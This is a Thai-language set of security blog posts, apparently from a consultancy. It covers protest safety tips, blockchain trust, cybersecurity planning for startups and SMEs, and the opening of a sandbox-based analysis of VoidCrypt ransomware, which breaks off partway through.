7. ใช้งาน communication app ที่ secure มีหลาย apps ให้เลือกใช้เช่น Telegram, Signal, SESSION, wickr, MySudo จริง ๆ แล้วต้องขอบคุณ Snowden ที่ทำให้วันนี้โลกของเรามี application แนว anti-surveillance หลากหลายมาก แต่ในทางปฏิบัติถ้าเราเป็นเจ้าพนักงานที่อยากจะจับผู้ร้าย งานก็หนักขึ้นมากเช่นกัน
8. หลีกเลี่ยงการเชื่อมต่อกับ Access Point ที่ไม่น่าไว้วางใจ เพราะโทรศัพท์หรือ smart device ของเราอาจถูกโจมตีจากเครือข่ายดังกล่าวได้ วิธีที่ปลอดภัยในการใช้งานผ่านเครือข่ายที่ไม่ปลอดภัยคือการใช้งานผ่าน VPN
9. สำหรับคนที่ไม่อยากเปิดเผยตัวตนมากนัก ให้ปิดบัง identity เช่นชื่อ หรือลักษณะเด่นของตัวเองเช่นรอยสัก หรือจุดที่สังเกตง่าย อย่าลืมว่า technology ด้าน image processing ที่ผสมกับ machine learning ทุกวันนี้ก้าวหน้ารวดเร็วมาก
10. ก่อนจะ post อะไรให้ลบ metadata ที่ติดมากับภาพหรือ video ที่เราถ่ายมาด้วย (metadata คือข้อมูลของข้อมูล) วิธีการก็ง่าย ๆ เช่นให้ capture screenshot รูปที่เราถ่าย หรือส่งรูปผ่าน secure communication app ในข้อ 7 แทน ถ้ารูปที่เราจะ post มีใบหน้าคนอื่นชัดเจนด้วยต้องเพิ่มความระมัดระวังเป็นพิเศษ
11. ศึกษาเส้นทาง ควรมีทางเลือกในการออกจากจุดเป้าหมายที่ไปมากกว่า 1 วิธี อย่าลืมว่าในห้วงเวลาวิกฤต โทรศัพท์ของเราอาจจะไม่มีสัญญาณและใช้งาน Internet ไม่ได้ ถ้ามีจุด checkpoint แจ้งให้แสดงบัตร identity card เราไม่จำเป็นต้องแสดงบัตรให้ดู เพราะเราไม่รู้ว่าเขาจะเอาไปทำอะไร และไม่รู้ว่าตัวเขาเป็นเจ้าหน้าที่ตัวจริงหรือไม่
12. ในห้วงเวลาวิกฤต ให้หนีออกจากจุดที่มีความรุนแรง ช่วยเหลือคนอื่นเท่าที่ทำได้ ระหว่างทางให้แจ้งว่าอย่าเข้าไปในพื้นที่อันตราย ถ้าจำเป็นให้หลบอยู่ในที่ปลอดภัย ปิดไฟ ล็อคประตู ซ่อนหลังอุปกรณ์ที่แข็งแรง ปิดเสียงสัญญานอุปกรณ์ที่เราใช้งาน และเมื่อพบเจ้าหน้าที่ที่จะมาช่วยเหลือเรา อย่าวิ่งเข้าใส่ อย่าขยับตัวอย่างรวดเร็ว ให้ยกมือให้เจ้าหน้าที่สังเกตเห็น
เหนือสิ่งอื่นใด จงร่วมชุมนุมอย่างสันติ เสรีภาพในการแสดงออกและการชุมนุมอย่างสงบเป็นสิทธิมนุษยชนของคนทุกคน ไม่ว่ากลุ่มไหนหรือฝ่ายใด จงหลีกเลี่ยงความรุนแรง และมี empathy กับทุกคนที่มีบทบาทและความรับผิดชอบที่แตกต่างกันไป
คำแนะนำดังกล่าวเป็นเพียงคำแนะนำทั่วไปสำหรับผู้ไปร่วมชุมนุม ยังมีเทคนิคอีกมากที่ใช้ในการปฏิบัติการแต่ไม่ได้กล่าวถึง พวกเราหวังว่าผู้อ่านทุกท่านจะเข้าใจ concept เรื่อง security และ safety และพวกเราเชื่อว่าไม่มีใครอยากให้เกิดความรุนแรงใด ๆ จากผู้ไม่หวังดีไม่ว่าจะจาก party ใดก็ตาม
สุดท้ายนี้ขอฝากคำคมจากขุนนางสำคัญของแคว้นฉินหลี่ปู้เหว่ยให้ผู้อ่านได้ตรึกตรอง
> ก่อนที่จะเอาชนะคนอื่น จักต้องเอาชนะตัวเองให้ได้เสียก่อน
> ก่อนที่จะว่าคนอื่น ควรพิจารณาดูตัวเองเสียก่อน
> ก่อนที่จะรู้จักคนอื่น ควรจะรู้จักตัวเองเสียก่อน"
# Trust in Human or Trust in Technology
เมื่อวานได้มีโอกาสไป Live กับทาง Bitkub พูดเรื่องของ Blockchain Security จึงขอมาขยายความเพิ่มเติมในบทความนี้ ผมได้อธิบายว่า Blockchain-based System/Solution ถูกสร้างขึ้นมาเพื่อตอบโจทย์ปัญหาที่มีลักษณะ decentralised/distributed, มีรูปแบบ peer-to-peer และอยากจะจำกัด intermediary ออกไปจากระบบเพราะไม่มีใครให้ trust หรืออยากจะปล่อยให้ระบบมันทำงานกันได้เองโดยไม่จำเป็นต้อง trust ใคร ซึ่ง Application แรกของ Blockchain ก็ทำงานมาเกือบ 10 ปีแล้ว ซึ่งหลักการด้าน Security ของมันก็ถือว่ายังทำงานได้ดีอยู่จนถึงทุกวันนี้
ในแวดวง Blockchain จะมีคำพูดที่ว่า "in code we trust", "in maths we trust", และ "in crypto we trust" นั่นแสดงให้เห็นว่า trust ไม่ได้ถูกกำจัดออกจาก Blockchain Technology เพียงแต่ trust ถูก shift จาก central authority/intermediary หรือคนกลางไปยัง technology แทน จากบทความ "Trust in Man/Machine Security Systems" ใน IEEE Security and Privacy; September 2013 โดย Bruce Schneier ก็มีการให้ความเห็นเรื่องนี้ด้วยเช่นกัน โดยได้พูดถึงเรื่องของ Security ในระบบที่มันทำงานของมันเองว่า
> The more machine security is automated, and the more the machine is expected to enforce security without human intervention, the greater the impact of a successful attack. If this sounds like an argument for interface simplicity, it is. The machine design will be necessarily more complicated: more resilience, more error handling, and more internal checking.
สรุปง่าย ๆ ก็คือยิ่ง automated มาก impact ของผลจากการโจมตียิ่งสูง, ยิ่ง automated มาก ความซับซ้อนของระบบยิ่งสูงตาม ซึ่งก็เป็นเรื่องจริงครับเพราะ decentralised systems ยากและซับซ้อนกว่า centralised systems เยอะมาก เมื่อใดก็ตามที่ attackers เข้าใจในตัวระบบมากกว่าผู้ใช้งานหรือผู้ออกแบบ เมื่อนั้นการโจมตีก็จะสำเร็จ ดังนั้น Blockchain เหมาะกับ Problem Set ที่มีคุณลักษณะเฉพาะที่เทคโนโลยีอื่นยังทำได้ไม่ดีนัก แต่ Blockchain ไม่ใช่ technology ที่เป็น Holy Grail ในตอบปัญหาทั้งมวล ผมเชื่อว่า Blockchain Technology เป็นการประยุกต์ใช้งาน cryptography, concept ใน distributed computing, หรือ idea เรื่อง contract ในการบังคับใช้ตามกฎหมาย ที่ชาญฉลาดและกำลังจะเปลี่ยนโลกอยู่ในหลาย ๆ industry ในไม่ช้า โดย World Economic Forum ทำนายไว้ว่าในปี 2027 10% ของ GDP จะถูกขับเคลื่อนหรือ based อยู่บน Blockchain Technology สำหรับผู้ใช้งานและ asset owner ก็ไม่ต้องตกใจครับ ให้ embrace new technology และนำมันมาใช้เป็นอีกทางเลือกของ IT Stack ขององค์กร
## Reference
1. Bitkub Live ดูย้อนหลังได้ที่ {rel=""nofollow""}
2. บทความ "Trust in Man/Machine Security Systems" ดูได้จาก {rel=""nofollow""}
# Cybersecurity for Startup/SME Business ตอนที่ 1/3
## รู้หรือยัง ? ว่ากำลังตกอยู่ในความเสี่ยง
ทำธุรกิจย่อมต้องมีความเสี่ยง ซึ่งความเสี่ยงด้าน Cybersecurity ก็ไม่ได้มาเล่น ๆ ข้อมูลจาก World Economic Forum: The Global Risks Report 2020 ภาพด้านล่างสีม่วงจะเป็น Technology Risk ซึ่งความเสี่ยงด้าน Cyberattacks นั้นได้มาอยู่ในรายงานนี้นานแล้ว สังเกตว่าในปี 2012 เริ่มติด Top 5 ในมุมของ Likelihood (โอกาสเกิด)
Ref: [Global Risks Report 2020](http://www3.weforum.org/docs/WEF%5FGlobal%5FRisk%5FReport%5F2020.pdf){rel=""nofollow""}
{width="100%"}
> ถ้าเอามาพล็อตกราฟตามความเสี่ยง (Risk = Impact \* Likelihood) ยิ่งผลกระทบมาก โอกาสเกิดสูง ยิ่งมีความเสี่ยง จะเห็นว่าความเสี่ยงด้าน Cyberattacks อยู่ด้านขวาบน
{width="100%"}
ในอดีตหลายองค์กรที่มีธุรกิจขนาดเล็กมักจะมองข้ามเรื่อง Cybersecurity ว่าเป็นเรื่องที่ใช้เงินลงทุนสูง และเป็นเรื่องไกลตัว เช่น การมีความคิดว่าองค์กรของเราขนาดเล็ก เราไม่โดนโจมตีหรอก
แต่ในช่วงที่ผ่านมา โดยเฉพาะ 2–3 ปีนี้ ผมสังเกตว่ามุมมองในเรื่องนี้เปลี่ยนไป ซึ่งนั่นก็อาจเป็นผลจากรูปแบบของการโจมตีที่เปลี่ยนไป ตั้งแต่ Ransomeware เริ่มมานี่เห็นได้ชัดเลย หลายองค์กรเริ่มให้ความสำคัญกับเรื่อง Cybersecurity มากขึ้น อย่างในกรณีล่าสุด Maze ransomware ที่มีลักษณะเป็น Multi-Stage Ransomware โดยเราได้เขียนอธิบายความแตกต่างไว้ในบทความ [Difference between Single-stage Ransomware and Multi-stage Ransomware](https://medium.com/incognitolab/single-stage-ransomware-%E0%B8%95%E0%B9%88%E0%B8%B2%E0%B8%87%E0%B8%81%E0%B8%B1%E0%B8%9A-multi-stage-ransomware-7c90a23185eb){rel=""nofollow""}
ซึ่ง Tactic ของ Maze ที่ใช้คือ เข้ารหัส, ขโมยข้อมูล, ขู่กรรโชก ถ้าไม่จ่ายค่าไถ่ข้อมูลก็จะถูกแพร่กระจายออกสู่สาธารณะ
{width="100%"}
ถ้ามองย้อนกลับไปแล้วเรื่องการปล่อยข้อมูลที่มีความสำคัญ หรือ ข้อมูลลับออกสู่สาธารณะนั้นก็เป็นเรื่องการรักษาความลับ (Confidentiality) ซึ่งถือเป็น 1 ในพื้นฐานด้าน Cybersecurity ที่ประกอบด้วย Confidentiality, Integrity, Availability (CIA) นั่นแหละ
หลังจากที่เราเริ่มเห็นความเสี่ยงแล้ว ขั้นตอนถัดไปคือเราจะจัดการกับเรื่องนี้อย่างไรมากกว่า หลาย ๆ บริษัท Startup ที่ผมได้มีโอกาสพบปะพูดคุย โดยเฉพาะถ้าอยู่ในกลุ่ม Tech จะให้ความสำคัญกับเรื่องนี้เป็นอย่างมาก แต่ในขณะเดียวกันหลายองค์กร ถ้าไม่อยู่ในกลุ่ม Tech ก็ยังมีความลังเลในการตัดสินใจลงทุนอยู่พอสมควร
เราเองมีความเข้าใจดีว่าทำไมองค์กรบางที่ถึงไม่ได้ตัดสินใจจัดการปัญหาเหล่านี้ในทันที แต่ในมุมที่ปรึกษานั้นเราก็ไม่อยากให้เกิดเหตุการณ์ที่สร้างความเสียหายก่อนแล้วค่อยมาจัดการ (วัวหายล้อมคอก) ซึ่งอุปสรรคที่หลาย ๆ องค์กรจะต้องเจอและส่งผลต่อการตัดสินใจนั้นมีหลายส่วน เช่น
1. เงินที่ใช้ในการลงทุนด้าน Cybersecurity ซึ่งแน่นอนเป็นเงินที่ใช้แล้วไม่ก่อให้เกิดรายได้ แต่ทำให้ความเสี่ยงหรือความเสียหายเมื่อเกิดปัญหาลดลงนะ
2. เมื่อใช้เงินแล้วปัญหาจะต้องจบ 100% แต่ไม่มีใครกล้ารับประกันให้คุณ 100% หรอกว่าทุกอย่างจะปลอดภัยแน่นอน
3. Cybersecurity solution มีมากมาย เมื่อก่อนมีอุปกรณ์ไม่กี่อย่าง แค่ซื้อตามก็อ่วมแล้ว เดี๋ยวนี้มีมากกว่าเดิมแล้วต้องซื้ออันไหนล่ะ ซื้อมาแล้วไม่ได้ใช้ก็มีเยอะแยะ
4. ขาด workforce ทางด้าน Cybersecurity ในองค์กร ซึ่งที่จริงแล้วไม่ต้องพูดถึงในองค์กรหรอก ในระดับโลกเราก็ขาดบุคลากรที่มีความสามารถทางด้าน Cybersecurity เยอะมาก
ซึ่งสิ่งเหล่านี้เองก็เป็นเรื่องที่ท้าทายสำหรับที่ปรึกษาเช่นกัน เราจะ fit สิ่งต่าง ๆ ให้เหมาะกับบริบทขององค์กรได้อย่างไร เพราะแต่ละองค์กรก็มีความแตกต่างกันทั้งในเรื่องของความรู้ ธุรกิจ ทรัพยากรต่าง ๆ
---
ในตอนที่ 2 จะเขียนถึงแนวทางในการจัดการกับปัญหา Cybersecurity สำหรับ Startup และ SME
[/blogs/cybersecurity-for-startup-sme-business-2-3](https://incognitolab.com/blogs/cybersecurity-for-startup-sme-business-2-3)
# Cybersecurity for Startup/SME Business ตอนที่ 2/3
[/blogs/cybersecurity-for-startup-sme-business-1-3](https://incognitolab.com/blogs/cybersecurity-for-startup-sme-business-1-3)
ก่อนจะจัดการกับความเสี่ยงด้าน Cybersecurity ยิ่งถ้าเราไม่ค่อยรู้อะไร เรายิ่งต้องเริ่มจากวางแผนอย่างมีหลักการ หากเริ่มต้นโดยแก้ปัญหาเป็นจุด ๆ จะการทำแบบนั้นก็เหมือนกับเราเดินหลงในป่าตอนกลางคืน ไม่มีไฟฉาย ดูทิศทางไม่เป็น เดินไปเดินมาก็อาจทำให้หลงกว่าเดิม บทความใน Series นี้เราแบ่งเป็น 5 ขั้นตอน
{width="100%"}
## ขั้นตอนที่ 0: รู้จักตนเอง และ เข้าใจความเสี่ยงด้าน Cybersecurity ของตนเอง
ไม่มีใครรู้จักองค์กรดีเท่ากับผู้บริหารขององค์กร ความเสี่ยงหรือปัญหาที่เคยพบในอดีตที่เกี่ยวข้องกับเรื่อง IT ทั้งหมดควรจะต้องเตรียมไว้ นอกจากนี้สิ่งที่ควรมีเป็นข้อมูลคือข้อมูลของ Tangible Asset และ Non-tangilble Asset ขององค์กร ซึ่ง Asset เหล่านี้จะถูกนำมาใช้ประเมินความเสี่ยงด้าน Cybersecurity ในอนาคต
ที่บอกว่าไม่มีใครรู้จักองค์กรดีเท่ากับผู้บริหารขององค์กรนั้น ไม่ได้หมายความว่าผู้บริหารจะเห็นความเสี่ยงทั้งหมด แต่ด้วยข้อมูลที่ได้จากผู้บริหารและทีมงานนั้น ที่ปรึกษาด้าน Cybersecurity จะนำข้อมูลเหล่านั้นมาประเมินความเสี่ยง และ ช่วยตีกรอบปัญหา (Framing) ให้ผู้บริหารได้เริ่มเห็นความเสี่ยงจุดอื่น ๆ เพิ่มมากขึ้น
## ขั้นตอนที่ 1: เข้าใจ Concept พื้นฐานของ Cybersecurity
Concept ด้าน Cybersecurity มีเยอะ แต่มีพื้นฐานไม่กี่ข้อที่ผู้บริหารองค์กรควรจะต้องเข้าใจเพื่อใช้ในการตัดสินใจ
Cybersecurity is all about risk: หลักการและเหตุผลอยู่บนความเสี่ยงขององค์กร ถ้าคิดว่าไม่มีความเสี่ยงไม่ต้องจัดการ หรือความ :br
เสี่ยงนั้นยอมรับได้ก็จบ แต่ถ้าความเสี่ยงนั้นยอมรับไม่ได้ก็ต้องถูกจัดการ
Defense-in-Depth: การป้องกันนั้นควรจะมีการป้องกันร่วมกันโดยใช้เทคนิคที่แตกต่างกัน ไม่ควรป้องกันแค่ชั้นเดียว ควรจะหลายชั้น เมื่อชั้นแรกเกิดปัญหาทำให้ไม่สามารถป้องกันได้ อย่างน้อยจะมีการป้องกันชั้นที่สองไว้ช่วยป้องกัน เพราะในความเป็นจริงแล้ว เราอาจจะไม่รู้เลยว่าการป้องกันชั้นแรกที่เราวางไว้เกิดปัญหาเมื่อไร หรือ มันจะถูกหลบหลีก (Bypass) ได้เมื่อไร
{width="100%"}
Ref: {rel=""nofollow""}
Reduce Attack Vector: การโจมตีต่าง ๆ ที่เกิดขึ้นที่เห็นในข่าวนั้น จุดเริ่มต้นส่วนใหญ่ไม่ได้ซับซ้อนอะไร แทบหนีไม่พ้นเรื่อง Configuration ที่ไม่ดี ไม่มีการลง Patch, ตั้งรหัสผ่านง่าย หรือ พนักงานตกเป็นเหยื่อ Phishing ซึ่ง Attack Vector หรือ Attack Surface คือ ช่องทางที่ผู้ร้ายสามารถใช้ในการโจมตีเข้ามาได้ ซึ่งสิ่งที่ควรทำคือลดช่องทางเหล่านี้ให้เหลือน้อยที่สุด เมื่อลดแล้วเราค่อยไปเพิ่ม Security ให้กับช่องทางที่เหลือเพื่อให้มีความปลอดภัยมากขึ้น
Prevent, Detect, Response: แบบเข้าใจง่าย ๆ เลยคือ เริ่มจากการป้องกัน (Prevent) ไม่ให้ปัญหาเกิด ถ้าป้องกันไม่ได้อย่างน้อยเราจะต้องทราบได้ (ตรวจจับได้, Detect) เมื่อตรวจจับได้แล้ว เราจะต้องตอบสนองต่อเหตุการณ์ (Response) ได้อย่างทันท่วงที ไม่ให้เกิดผลกระทบต่อองค์กร
ท่านที่อ่านอาจจะขัดใจ ทำไมไม่ป้องกันให้หมดเลยล่ะ ในความเป็นจริงนั้น Threat (ภัยคุกคาม) นั้นอาจจะป้องกันได้ แต่ต้องใช้เงินในการลงทุนที่สูงมากขึ้น ซึ่งเราอาจมีทางเลือกอื่นเช่นเราต้องการแค่ Detect ได้ โดยวิธีการนี้จะใช้เงินลงทุนที่น้อยกว่ามาก เมื่อประเมินความเสี่ยงแล้วการ Detect ได้อาจเป็นวิธีการที่เหมาะสม ซึ่งนั่นก็เป็นเสน่ห์ของความท้าทายในแต่ละองค์กรซึ่งมีบริบทที่แตกต่างกัน
**100% secure does not exist:** เรื่องนี้ขอให้ทำใจว่าการที่เราจะป้องกันทุกอย่างให้ปลอดภัย 100% ไม่โดน Hack ไม่โดนโจมตีนั้นเป็นไปได้ยาก ยิ่ง 100% secure of all time ยิ่งเป็นไปไม่ได้ ลองดูตัวอย่างบริษัทใหญ่ ๆ เช่น Facebook, Twitter ยังโดน Hack เลย แต่หลังจากโดน Hack เราจะจัดการอย่างไรให้เหมาะสมนั่นคือสิ่งที่ต้องคิด ทั้งนี้อย่าไปคาดหวังว่าจ่ายเงินซื้อ Solution A แล้วปัญหาที่ Solution A เสนอว่าจะช่วยได้แก้ได้ จะหายไปแน่นอนนั้นก็ควรจะต้องทำใจไว้หน่อย การที่จะทำให้ปลอดภัยได้นั้นจะต้องมีการทำและพัฒนาอย่างต่อเนื่อง (Continuous Improvement)
## ขั้นตอนที่ 2: นำ Framework/Standard มาใช้งาน
ถ้าอยากจะป้องกันความเสี่ยงควรทำตามแนวทางที่มีการคิดมาแล้ว เปรียบเหมือน เราสร้างบ้าน แต่เราไม่มีสถาปนิก ไม่มีนักออกแบบภายใน บ้านอาจจะใช้การได้ แต่ประโยชน์ใช้สอย อาจจะไม่เต็มที่ หรือ มีการซื้อของเข้าบ้านแล้วไม่ Fit กัน ทำให้ต้องทิ้งของบางอย่างที่ซื้อมาก่อนหน้า
ซึ่งในมุมของ Cybersecurity ก็เช่นกัน องค์กรไม่ควรเริ่มจากมอง Solution ที่ Vendor แนะนำ เราควรจะต้องมีการนำ Cybersecurity Framework มาปรับใช้กับองค์กร อย่างน้อยเพื่อสร้าง Blueprint ของเราว่าสุดท้ายหน้าตาภาพรวมด้าน Cybersecurity ขององค์กรของเราจะเป็นอย่างไร
Cybersecurity Framework/Guideline มีเยอะ แต่เราควรจะเลือกอันไหนดีล่ะ?
ทาง Incognito Lab มีบริการด้านการให้คำปรึกษาวางแผน Roadmap ด้าน Cybersecurity ขององค์กร โดยสำหรับผู้เริ่มต้นเราแนะนำ [CIS Controls](https://www.cisecurity.org/controls/cis-controls-list/){rel=""nofollow""} ปัจจุบันเป็น Version 7.1 ซึ่งเป็น Prioritized set of action จำนวน 20 หัวข้อใหญ่ที่ช่วยสร้างการป้องกันทางด้าน Cybersecurity ในลักษณะ Defense-in-Depth
{width="100%"}
โดย 5 Principles หลักของ CIS คือ
{width="100%"}
ข้อแตกต่างระหว่าง CIS Controls และ Standard อื่น ๆ ที่เห็นได้ชัดคือ CIS Controls จะเน้นสิ่งที่ทำแล้วลดความเสี่ยงได้จริง แต่ CIS Controls ไม่สามารถถูก Certified ได้
กล่าวคือต่อให้เราทำตาม CIS Controls ทุกอย่าง ก็ไม่มีใบประกาศว่าเราปลอดภัยตาม CIS Controls นะ ซึ่งก็จะแตกต่างกับ Standard อย่าง ISO27001 ที่สามารถออกใบรับรองได้ว่าผ่านมาตรฐาน ISO27001 ซึ่งต่อให้ผ่าน ISO27001 ก็ไม่ได้แปลว่าจะปลอดภัยนะ เนื่องจากความเข้มข้นในข้อกำหนดที่แตกต่างกัน โดย ISO27001 จะเน้นไปที่ Process มากกว่า
ทั้งนี้ข้อแนะนำคือเริ่มจาก CIS Controls ก่อนเพื่อให้เกิดความปลอดภัย จากนั้นถ้ามีความต้องการด้าน Marketing หรือต้องการสร้างความน่าเชื่อถือเพิ่มค่อยไปทำ ISO27001
---
[Incognito Lab](https://incognitolab.com) ผู้เชี่ยวชาญให้บริการให้คำปรึกษาด้าน Cybersecurity สนใจบริการ หรือขอคำปรึกษา สามารถติดต่อได้ที่ 090–642–8988 หรือ
[/blogs/cybersecurity-for-startup-sme-business-3-3](https://incognitolab.com/blogs/cybersecurity-for-startup-sme-business-3-3)
# Cybersecurity for Startup/SME Business ตอนที่ 3/3
[/blogs/cybersecurity-for-startup-sme-business-2-3](https://incognitolab.com/blogs/cybersecurity-for-startup-sme-business-2-3)
นี่เป็นตอนสุดท้ายของ Series นี้ วัตถุประสงค์ของบทความนี้เราอยากให้องค์กร Startup และ SME เห็นความเสี่ยงและแนวทางในการจัดการด้าน Cybersecurity เพื่อไม่ให้เกิดการสิ้นเปลืองทั้งในด้านของเวลา และ ทรัพยากร (บุคลากร และ เงินที่ใช้)
{width="100%"}
## ขั้นตอนที่ 3: เดินตาม Roadmap
หลังจากเรามี Roadmap ที่เหมาะสมกับบริษัทแล้วเราก็มีหน้าที่ค่อย ๆ เดินตาม Roadmap นั้น ในกรณีที่เป็น Technology/Solution ปัจจุบันมีตัวเลือกให้ค่อนข้างมากไม่ว่าจะเป็น Solution ที่เป็น Open-source หรือ Commercial ซึ่งโดยมากแล้ว ข้อดีของ commercial tool จะมี support เมื่อเกิดปัญหา ซึ่งในแง่ของราคานั้น Product ประเภทเดียวกันราคาต่างกันหลายเท่าก็มี ขึ้นอยู่กับ Feature และ Deal ที่เราได้
มี 2 สิ่งที่มีความสำคัญที่ควรพิจารณาคือ
1. การ Integration ในภาพรวมระหว่าง Product ใหม่และสิ่งต่าง ๆ ที่มีอยู่ในปัจจุบัน บาง Product อาจใช้ร่วมกันได้ไม่เต็มที่ ต้องมีการ Customize เพิ่มเยอะ นั่นก็จะเป็นการเพิ่ม Cost หรือ เป็นการลงทุนที่ไม่ได้ประโยชน์เต็มที่
2. คนที่จะมาใช้งาน Product/Solution เหล่านั้นมีความสามารถพอหรือไม่? ซึ่งนี่เป็นประเด็นที่สำคัญมาก ๆ การสนับสนุนอบรมให้กับพนักงานมีความรู้ความสามารถด้าน Cybersecurity เป็นสิ่งที่จำเป็นมาก
ถ้าใน Best-case scenario บริษัทให้การสนับสนุนพนักงานเป็นอย่างดี พนักงานคนนั้นอาจสามารถใช้ความรู้ตัวเองในการนำ Open-source มาช่วยแก้ปัญหาภายในองค์กร และทำให้ประหยัดค่าใช้จ่ายในการซื้อ Product ได้มากทีเดียว
## ขั้นตอนที่ 4: Workforce
ในองค์กรเรามักจะได้ยินเรื่อง People, Process, Technology สิ่งที่เราให้ความสำคัญก็ไม่พ้น 3 เรื่องนี้ แต่ที่สำคัญที่สุดแล้วในด้าน Cybersecurity ต้องขอยกให้เรื่องของ People
ทีมงานที่มีหน้าที่เกี่ยวข้องกับด้าน Cybersecurity ขอแบ่งเป็น 2 กลุ่ม คือ กลุ่มที่เป็นคนในองค์กร และ คนนอกองค์กร
1. คนในองค์กร: ใครบ้างล่ะที่เกี่ยวข้อง? ทุกคนในองค์กรนั่นแหละที่เกี่ยวข้อง เริ่มแรกเลยเราควรสร้างความตระหนักด้าน Cybersecurity Awareness ให้ทุกคนเข้าใจว่าอะไรสำคัญ และการป้องกันปัญหานั้นทำอย่างไร
2. คนนอกองค์กร: องค์กรควรมีที่ปรึกษาที่องค์กรให้ความเชื่อถือและไว้ใจ เผื่อในกรณีที่เกิดปัญหาจะได้ขอคำปรึกษาได้อย่างรวดเร็ว ซึ่งในกรณีที่เกิดปัญหานั้นมันจะง่ายกว่ามากที่จะไปขอคำปรึกษาจากบริษัทที่ปรึกษาที่ไม่เคย Deal กันมาก่อน ทั้งนี้ที่ปรึกษาต้องมีความรู้ในภาพรวม (เห็นภาพใหญ่ในมุม Cybersecurity) และเข้าใจบริบทขององค์กร
เนื่องจาก Workforce ทางด้านนี้ขาดแคลนอย่างมากทั้งบุคลากรในประเทศและต่างประเทศ ถ้าองค์กรขนาดเล็กจะรอ Build เองจากภายในองค์กร มันเป็นไปได้ยากมากที่จะหาได้พนักงานเก่ง ๆ ด้าน Cybersecurity และทำงานให้องค์กรได้ในระยะยาว
ข้อแนะนำคืองาน IT Operation ทั่วไปให้งานเดินได้ควรจะต้องเป็นพนักงานของบริษัทเอง และควรมีระดับหัวหน้าขึ้นไปที่เข้าใจ Concept สำคัญด้าน Cybersecurity ที่สำคัญ และจ้างที่ปรึกษาภายนอกเข้ามาให้คำปรึกษา ตกลงร่วมกันให้เห็นภาพที่กำลังจะสร้างขึ้นมาร่วมกัน
บริการของ Incognito Lab เราให้บริการครบวงจรตั้งแต่ให้คำปรึกษา วาง Roadmap ให้องค์กร รวมถึงการ Implement solution ทั้งในรูปแบบ Commercial และ Open-source เพื่อให้เป็นไปตามปณิธานของเราตั้งแต่เริ่มต้นนั้นคือ We.Secure.The.Nation
---
เราหวังเป็นอย่างยิ่งว่าความรู้ความสามารถของเราจะช่วยทำให้ธุรกิจและข้อมูลของทุกท่านปลอดภัย และส่งผลให้ภาพรวมด้าน Cybersecurity ของประเทศเราปลอดภัย
{width="100%"}
{width="100%"}
# VoidCrypt — Watch and Learn Style with Annoyance
*Disclaimer: บทความนี้ทดสอบกับ VoidCrypt ที่สามารถ download ได้จาก* *{rel=""nofollow""}*
## Malware Analysis แบบรีบ ๆ
รูปแบบหนึ่งของการทำ Incident Response ที่ปล่อยให้ผู้โจมตีดำเนินการปฏิบัติการต่อไป โดยที่ฝั่งตั้งรับคอยเฝ้าดูอย่างใกล้ชิดไม่กระโตกกระตากและไม่ให้ผู้โจมตีรู้ตัวเราเรียกว่า "Watch and Learn" บทความนี้จึงขอประยุกต์ใช้เทคนิคดังกล่าวกับ Ransomware ตระกูลเดียวกับที่โจมตี รพ. สระบุรี และเพิ่งจะเป็นข่าวครึกโครมไป (เป็นโอกาสอันดีที่ community จะตื่นตัวกับเรื่องของ cybersecurity มากขึ้น) วิธีการที่จะอธิบายในบทความนี้ ผู้ดูแลระบบสามารถเอาไปประยุกต์ใช้งานจริงได้ โดยที่ไม่ต้องอาศัยทักษะการทำ Malware Analysis หรือการเตรียม Environment สำหรับทดสอบ ลำดับแรกสุดให้ไปที่เครื่องที่โดนโจมตีหา process ที่น่าสงสัย จากนั้นไปหา binary file ที่น่าจะเป็นต้นเรื่องจากนั้นนำ file ที่น่าสงสัยดังกล่าวออกมาให้ได้ หลังจากนั้นจึงเริ่มกระบวนการวิเคราะห์โดยอาศัยเครื่องมือดังนี้
1. ทดสอบเบื้องต้นผ่าน VirusTotal
ลองดูว่าเรากำลังเผชิญหน้ากับอะไรอยู่ โดยทดสอบผ่าน [virustotal.com](https://www.virustotal.com/){rel=""nofollow""} พบว่า engine เกือบทุกตัวพิจารณาว่าเป็น malicious ทั้งหมด (binary file ดังกล่าวเปิดตัวผ่านมาหลายเดือนแล้ว) :br
ผลการ scan: {rel=""nofollow""}

2. เก็บข้อมูลผ่าน Dynamic Analysis ด้วย Any.run
ทดสอบกับ interactive href="{rel=""nofollow""}" rel="noopener nofollow">{rel=""nofollow""} เพื่อลองดูผลจากการ run VoidCrypt ผ่าน sandbox ซึ่งพบว่า VoidCrypt ทำการ stop service จำนวนมากเช่น SQLSERVERAGENT , ปิด firewall ที่เครื่อง และปิด feature การ recovery จุดประสงค์คือมันจะปิดทางกู้ file และทำการ encrypt Database ด้วยถ้ามี


และ IOC (IOC-Indicator of Compromise คือร่องรอยที่เกิดขึ้นหลังจากถูกโจมตีไปแล้ว ส่วน IOA-Indicator of Attack คือ pattern และวิธีการที่ attacker จะใช้เพื่อโจมตีเช่นทำ Command and Control หรือใช้ malware)

ข้อดีอีกอย่างหนึ่งของ any.run ก็คือเราสามารถวิเคราะห์ network traffic ได้ ซึ่งทำให้เราเห็นข้อมูลที่ VoidCrypt ส่งกลับไปยัง Attacker :br
3. ดูความซับซ้อนระดับ binary ว่ามันถูกสร้างมาระดับ APT level หรือไม่ หรือ reuse code malware อื่น ๆ มาทำ cybercrime operation ตามรอบเวลา ผ่าน Intezer Analyze
ทดสอบโดย upload ไปที่ {rel=""nofollow""} พบว่ามีลักษณะของความเป็น Ransomware ชัดเจน และมีการ reuse code ของ malware แนวเดียวกันด้วย ซึ่งรูปแบบนี้ทำให้เราพอประเมินได้ว่าน่าจะเป็นกลุ่ม cyber criminal ที่มี motivation เป็นเรื่องเงินเป็นหลัก ไม่น่าจะเป็น State-sponsor attacker :br
4. ดูผล step by step ผ่านบริการ Hatching Triage
เราสามารถดูผลการ run VoidCrypt แบบ step by step ได้โดย upload ไปที่ {rel=""nofollow""} จะพบ sequence ของผลที่เกิดขึ้น :br
ถ้าอยากเห็นหน้าจอก็ทำได้เช่นกัน ผ่าน function Replay Monitor อย่างไรก็ตาม sample ที่เราทดสอบคือ Ransomware จะเห็นผลชัดเจน ถ้าเป็น APT หรือ malware ที่ stealth เราจะไม่พบอะไรบนหน้าจอต้องอาศัย artifact อื่น ๆ จะดีกว่า

5. ถ้าอยากทำ Analysis แต่ไม่แชร์ผลการวิเคราะห์จะทำอย่างไร
